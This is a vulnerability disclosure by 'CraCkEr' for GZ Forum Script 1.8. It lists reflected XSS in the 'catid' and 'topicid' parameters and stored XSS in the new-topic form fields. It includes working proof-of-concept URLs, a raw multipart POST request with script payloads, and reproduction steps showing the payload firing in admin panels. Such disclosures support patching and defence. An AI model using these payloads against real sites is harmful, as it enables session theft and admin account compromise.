┌┌───────────────────────────────────────────────────────────────────────────────────────┐
││                                     C r a C k E r                                    ┌┘
┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││
└───────────────────────────────────────────────────────────────────────────────────────┘┘

 ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                  [ Vulnerability ]                                   ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
:  Author   : CraCkEr                                                                    :
│  Website  : https://gzscripts.com/gz-forum-script.html                                 │
│  Vendor   : GZ Scripts                                                                 │
│  Software : GZ Forum Script 1.8                                                        │
│  Vuln Type: Reflected XSS - Stored XSS                                                 │
│  Impact   : Manipulate the content of the site                                         │
│                                                                                        │
│────────────────────────────────────────────────────────────────────────────────────────│
│                                                                                       ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
:                                                                                        :
│  Release Notes:                                                                        │
│  ═════════════                                                                         │
│                                                                                        │
│  Reflected XSS                                                                         │
│                                                                                        │
│  The attacker can send to victim a link containing a malicious URL in an email or      │
│  instant message can perform a wide variety of actions, such as stealing the victim's  │
│  session token or login credentials                                                    │
│                                                                                        │
│                                                                                        │
│  Stored XSS                                                                            │
│                                                                                        │
│  Allow Attacker to inject malicious code into website, give ability to steal sensitive │
│  information, manipulate data, and launch additional attacks.                          │
│                                                                                        │   
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                                                                      ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Greets:

    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09  
       
  CryptoJob (Twitter) twitter.com/0x0CryptoJob
     
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                    © CraCkEr 2023                                    ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘


Path: /preview.php

GET 'catid' parameter is vulnerable to RXSS

http://www.website/preview.php?controller=Load&action=index&catid=moztj%22%3e%3cscript%3ealert(1)%3c%2fscript%3ems3ea&down_up=a


Path: /preview.php

GET 'topicid' parameter is vulnerable to RXSS

http://www.website/preview.php?controller=Load&action=topic&topicid=1wgaff%22%3e%3cscript%3ealert(1)%3c%2fscript%3exdhk2




## Stored XSS

-----------------------------------------------
POST /GZForumScript/preview.php?controller=Load&action=start_new_topic HTTP/1.1

-----------------------------39829578812616571248381709325
Content-Disposition: form-data; name="free_name"

<script>alert(1)</script>
-----------------------------39829578812616571248381709325
Content-Disposition: form-data; name="topic"

<script>alert(1)</script>
-----------------------------39829578812616571248381709325
Content-Disposition: form-data; name="topic_message"

<script>alert(1)</script>
-----------------------------39829578812616571248381709325--

-----------------------------------------------

POST parameter 'free_name' is vulnerable to XSS
POST parameter 'topic' is vulnerable to XSS
POST parameter 'topic_message' is vulnerable to XSS


## Steps to Reproduce:

1. As a [Guest User] Click on [New Topic] to create a "New Topic" on this Path (http://website/preview.php?controller=Load&action=start_new_topic)
2. Inject your [XSS Payload] in "Name"
3. Inject your [XSS Payload] in "Topic Title "
4. Inject your [XSS Payload] in "Topic Message"
5. Submit

4. XSS Fired on Visitor Browser's when they Visit the Topic you Infect your [XSS Payload] on

5. XSS Fired on ADMIN Browser when he visit [Dashboard] in Administration Panel on this Path (https://website/GzAdmin/dashboard)
6. XSS Fired on ADMIN Browser when he visit [Topic] & [All Topics] to check [New Topics] on this Path (https://website/GzTopic/index)



[-] Done